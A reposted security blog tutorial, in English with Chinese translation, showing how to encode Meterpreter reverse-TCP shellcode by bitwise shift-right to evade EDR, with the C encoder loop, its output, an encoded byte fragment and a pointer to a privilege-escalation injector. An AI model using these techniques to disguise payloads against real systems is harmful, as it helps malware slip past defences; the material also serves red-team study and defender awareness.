How to use Bitwise Arithmetic Shift Right Encoding with your Shellcode

渗透技巧 11个月前 admin
194 0 0

You have likely seen various forms of shellcode encoders in use via your favorite C2 toolkit. I’m oldschool and started my shellcode encoding experience using the built-in encoding technique called Shikata ga nai within the Metasploit C2 Framework.
您可能已经通过您最喜欢的 C2 工具包看到了各种形式的外壳代码编码器的使用。我是老派的,在Metasploit C2框架中使用名为Shikata ga nai的内置编码技术开始了我的shellcode编码体验。

Today our focus on encoding techniques will not be as sophisticaed. I’m going to take us all the way back to the primitive forms of encoding that have been around for a very long time, and guess what…they are still effective against bypassing EDR solutions even now as I write this in 2023!
今天,我们对编码技术的关注不会那么复杂。我将带我们一路回到已经存在很长时间的原始编码形式,你猜怎么着……即使在我在 2023 年写这篇文章的现在,它们仍然有效防止绕过 EDR 解决方案!

Bitwise Arithmetic Operations – 101
按位算术运算 – 101

Bitwise arithmetic, for our purposes, happens at the base 2 binary level. Below are examples of each (I include the common and most practical Bitwise methods only):
就我们的目的而言,按位算术发生在以 2 为基数的二进制级别。以下是每个方法的示例(我只包括常见和最实用的按位方法):

2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0
1   6   3   1   8   4   2   1
2   4   2   6
8

Bitwise AND (if both numbers are a 1, the result is a 1)
按位 AND(如果两个数字都是 1,则结果为 1)

1 6 3 1 8 4 2 1
2 4 2 6
8           

0 0 1 1 0 0 0 0 (Decimal 48)
0 1 1 1 0 0 1 0 (Decimal 114)
===============
0 0 1 1 0 0 0 0 (Decimal 48)

Bitwise OR (if either number is a 1, the result is a 1)
按位 OR(如果任一数字为 1,则结果为 1)

1 6 3 1 8 4 2 1
2 4 2 6
8           

0 0 1 1 0 0 0 0 (Decimal 48)
0 1 1 1 0 0 1 0 (Decimal 114)
===============
0 1 1 1 0 0 1 0 (Decimal 114)

Bitwise XOR (if the two numbers are different, the result is a 1)
按位 XOR(如果两个数字不同,则结果为 1)

1 6 3 1 8 4 2 1
2 4 2 6
8           

0 0 1 1 0 0 0 0 (Decimal 48)
0 1 1 1 0 0 1 0 (Decimal 114)
===============
0 1 0 0 0 0 1 0 (Decimal 66)

Bitwise Shift Left (takes a number and shifts it left by the value provided. In this case, we are only shifting by 1)
按位左移(取一个数字,并按提供的值向左移动。在这种情况下,我们只移动了 1)

1 6 3 1 8 4 2 1
2 4 2 6
8           

0 0 1 1 0 0 0 0 (Decimal 48)

===============
0 1 1 0 0 0 0 0 (Decimal 96)

Bitwise Shift Right (takes a number and shifts it right by the value provided. In this case, we are only shifting by 1)
按位右移(取一个数字并按提供的值向右移动。在这种情况下,我们只移动了 1)

1 6 3 1 8 4 2 1
2 4 2 6
8           

0 0 1 1 0 0 0 0 (Decimal 48)

===============
0 0 0 1 1 0 0 0 (Decimal 24)

Now that you have a reference for each Bitwise operation, Let’s explore encoding our shellcode using the Shift Right Method. The code skeleton below showcases the first few bytes of a basic Meterpreter x64 reverse tcp shellcode:
现在您已经有了每个按位操作的参考,让我们探索一下使用 Shift Right 方法对外壳代码进行编码。下面的代码框架展示了基本 Meterpreter x64 反向 tcp 外壳代码的前几个字节:

g3tsyst3m@debian:~$ cat bitwiseencoder.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[])
{

	unsigned char b33fy[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"

xFC = 252 in decimal
xFC = 252 十进制

1 1 1 1 1 1 0 0

Now, left’s shift that right by 1
现在,左移右移 1

1 1 1 1 1 1 0 0 (HEX = xFC)

0 1 1 1 1 1 1 0 (HEX = x7E, shifted by 1 to the right)

If we look at the Inj3ct0r function in elevationstation.cpp, we see the first hexvalue is in fact encoded as \x7E
如果我们查看 中的 elevationstation.cpp Inj3ct0r 函数,我们看到第一个十六进制值实际上被编码为 \x7E

bool Inj3ct0r(DWORD pid)
{
    //bitwise shift right encoding method
    //ip: 192.168.1.50
    //port: 4445
    unsigned char b33fy[] =
    -->  "\x7e  <--   \x24\x41\x72\x78\x74\x60\x0\x0\x0\x20\x28\x20\x28"

Fairly straight forward right? Not so fast. You’ll likely recall that when we shifted right or left, a zero must go where there was previously a 1. Well, we have to keep track of that in our encoding routine
相当直截了当吧?没那么快。你可能还记得,当我们向右或向左移动时,零必须去以前有 1 的地方。好吧,我们必须在我们的编码例程中跟踪它

Why do we have to keep track of it you ask? Consider the third hex value in our shellcode char array: \x83 <– \xfc\x48\x83.
你问为什么我们必须跟踪它?考虑我们的shellcode char数组中的第三个十六进制值:\x83 <– \xfc\x48\x83。

1 0 0 0 0 0 1 1 = x83

If you shift that to the right, you get this, which makes sense. The sevens position (2^7) moves to the 2^6 position. The two’s position (2^1) shifts right and replaces the 2^0 position. The final one’s position (2^0), 1, moves to the right and into what could be considered the negative range. So the encoding went great!
如果你把它移到右边,你就会得到这个,这是有道理的。七人制位置 (2^7) 移动到 2^6 位置。两者的位置 (2^1) 向右移动并替换 2^0 位置。最后一个的位置 (2^0),1,向右移动并进入可以被视为负范围的范围。所以编码很棒!

0 1 0 0 0 0 0 1 = x41

The problem lies in the decoding routine…since we’re missing that 1 that was previously in the ones position (2^0) and now in the “negative position”. If you shift left to get the original value, you’ll see what I mean; you fall short by 1. Let’s try it:
问题出在解码例程上…因为我们缺少以前处于 1 位置 (2^0) 的 1,现在处于“负位置”。如果你左移得到原始值,你就会明白我的意思;你差了 1 分。让我们试试吧:

1 0 0 0 0 0 1 0 = x82 (NOT x83 as we hoped for)

So, how do we make it so we account for the missing ‘1’ to add up to x83? Just perform an AND bitwise operation against your original value with 1 and if it returns 0, that means you won’t have to account for a missing ‘1’ value since the AND bitwise operation confirmed there were not two 1s present in the one’s position (2^0). If there are two 1s present in the one’s position (2^0), your AND will return a 1 and that means you have to add 1 to your final decoded value. I keep track of all the 1s and 0s in a separate array which is used in the code for the decode routine.
那么,我们如何才能将缺失的“1”加起来变成x83呢?只需对原始值执行 AND 按位运算 1,如果它返回 0,这意味着您不必考虑缺少的“1”值,因为 AND 按位运算确认没有两个 1 存在于一个的位置 (2^0)。如果 one 的位置 (2^0) 中存在两个 1,则 AND 将返回 1,这意味着您必须在最终解码值上加 1。我在一个单独的数组中跟踪所有 1 和 0,该数组用于解码例程的代码中。

I demonstrate everything below using the example above of x83 and xFC as the original hex value. Please see the comments throughout the code:
我使用上面的 x83 和 xFC 示例作为原始十六进制值来演示下面的所有内容。请参阅整个代码中的注释:

for (int b = 0; b < lenny - 1; b++)
	{
		printf("==================================\n");
		printf("original: x%02hhx\n", b33fy[b]);  \\ \x83
		printf("shiftright: x%02hhx\n", b33fy[b] >> 1); \\ \x41
		shiftright[b] = b33fy[b] >> 1;

		shifted[b] = b33fy[b] >> 1;
		if ((b33fy[b] & 1) == 1)
		{
      //Example:
      //1 0 0 0 0 0 1 1 \x83 (decimal 131)
      //0 0 0 0 0 0 0 1 \x01 (decimal 1...of course ? )
      //===============
      //0 0 0 0 0 0 0 1 = 1

			printf("1\n");
			onesnzeros[b] = 1;
			shifted[b] = (shifted[b] << 1) + 1; //add 1 to decoded value
		}
		else
		{
      //Example for returning 0:
      //1 1 1 1 1 1 0 0 \xFC (decimal 252)
      //0 0 0 0 0 0 0 1 \x01 (decimal 1...of course ? )
      //===============
      //0 0 0 0 0 0 0 0 = 0

			printf("0\n");
			onesnzeros[b] = 0;
			shifted[b] = (shifted[b] << 1); //don't add 1 and leave as is
		}
		printf("back to original (shleft): x%02hhx\n", shifted[b]);
		printf("==================================\n");

	}

here’s the result of running our modified bitwiseencoder.c encoder code used in this walkthrough:
下面是运行本演练中使用的修改后的 bitwiseencoder.c 编码器代码的结果:

g3tsyst3m@debian:~$ ./backup_bitwiseencoder 
==================================
original: xfc
shiftright: x7e
0
back to original (shleft): xfc
==================================
==================================
original: x48
shiftright: x24
0
back to original (shleft): x48
==================================
==================================
original: x83
shiftright: x41
1
back to original (shleft): x83
==================================
==================================
original: xe4
shiftright: x72
0
back to original (shleft): xe4
==================================
==================================
original: xf0
shiftright: x78
0
back to original (shleft): xf0
==================================
==================================
original: xe8
shiftright: x74
0
back to original (shleft): xe8
==================================
==================================
original: xc0
shiftright: x60
0
back to original (shleft): xc0
==================================
==================================
original: x00
shiftright: x00
0
back to original (shleft): x00
==================================
==================================
original: x00
shiftright: x00
0
back to original (shleft): x00
==================================
==================================
original: x00
shiftright: x00
0
back to original (shleft): x00
==================================
==================================
original: x41
shiftright: x20
1
back to original (shleft): x41
==================================
==================================
original: x51
shiftright: x28
1
back to original (shleft): x51
==================================
==================================
original: x41
shiftright: x20
1
back to original (shleft): x41
==================================
==================================
original: x50
shiftright: x28
0
back to original (shleft): x50
==================================
final encoded s h 3 ! ! c 0 d 3: 

char b33fy[] = 
"\x7e\x24\x41\x72\x78\x74\x60\x0\x0\x0\x20\x28\x20\x28";

unsigned int onesnzeros[] = 

{0,0,1,0,0,0,0,0,0,0,1,1,1,0};

The bitwiseencoder program generates the final encoded shellcode, and that is what you would paste into the top of the bitwisedecoder.c code or in the elevationstation Inj3ct0r function:
bitwiseencoder 程序生成最终编码的外壳代码,这就是您将粘贴到 bitwisedecoder.c 代码顶部或 elevationstation Inj3ct0r 函数中的内容:

char b33fy[] = 
"\x7e\x24\x41\x72\x78\x74\x60\x0\x0\x0\x20\x28\x20\x28";

unsigned int onesnzeros[] = 

{0,0,1,0,0,0,0,0,0,0,1,1,1,0};

Go here for both the encoding and decoding c files used in this walkthrough: bitwise files
转到此处了解本演练中使用的编码和解码 c 文件:按位文件

And if you’d like to explore the decode routine used in an actual toolkit, checkout my privilege escalation toolkit Elevation Station: elevation station code
如果您想探索实际工具包中使用的解码例程,请查看我的权限提升工具包 高程站:高程站代码

You’ll find the shift left decode routine in the Inj3ct0r function within the code as stated previously, and this is one of many methods used to escalate privileges to SYSTEM. In the case of this function, using CreateRemoteThread API.
如前所述,您将在代码中的 Inj3ct0r 函数中找到左移解码例程,这是用于将权限升级到 SYSTEM 的众多方法之一。对于此函数,请使用 CreateRemoteThread API。

I hope this has shed some light on encoding using bitwise operations and how you can fairly easily encode shellcode with it. I’ve enjoyed learning about this simple method of encoding and decoding and I hope it helps in your red team engagements and provides more awareness for blue teamers. Thanks and bye!
我希望这能说明使用按位运算进行编码以及如何相当轻松地使用它对shellcode进行编码。我喜欢学习这种简单的编码和解码方法,我希望它对您的红队参与有所帮助,并为蓝队成员提供更多的认识。谢谢,再见!

原文始发于G3tSyst3m’s Infosec Blog:How to use Bitwise Arithmetic Shift Right Encoding with your Shellcode

版权声明:admin 发表于 2023年8月18日 上午9:23。
转载请注明:How to use Bitwise Arithmetic Shift Right Encoding with your Shellcode | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...